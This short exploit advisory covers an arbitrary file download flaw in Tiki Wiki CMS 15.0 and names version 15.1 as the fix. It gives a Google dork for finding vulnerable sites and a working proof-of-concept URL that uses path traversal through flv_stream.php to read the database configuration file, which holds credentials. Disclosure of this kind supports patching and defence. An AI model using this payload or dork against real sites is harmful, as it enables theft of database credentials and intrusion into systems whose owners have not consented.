Exploit Tiki Wiki

#__     ___               __  ______
#\ \   / (_)_ __ _   _ ___\ \/ /  _ \ ____
# \ \ / /| | '__| | | / __|\  /| | | |_  /
#  \ V / | | |  | |_| \__ \/  \| |_| |/ /
#   \_/  |_|_|   \__,_|___/_/\_\____//___|
############################################################
# Exploit Title: Tiki Wiki CMS 15.0 Arbitrary File Download
# Date: 11-07-2016
# Software Link: https://tiki.org
# Google Dork: "Powered By Tiki Wiki"
# Category: webapps
############################################################
1. Description

Using `flv_stream.php` file from `vendor` directory we can download any file.

2. Proof of Concept

http://tiki/vendor/player/flv/flv_stream.php?file=../../../db/local.php&position=0

3. Solution:

Update to version 15.1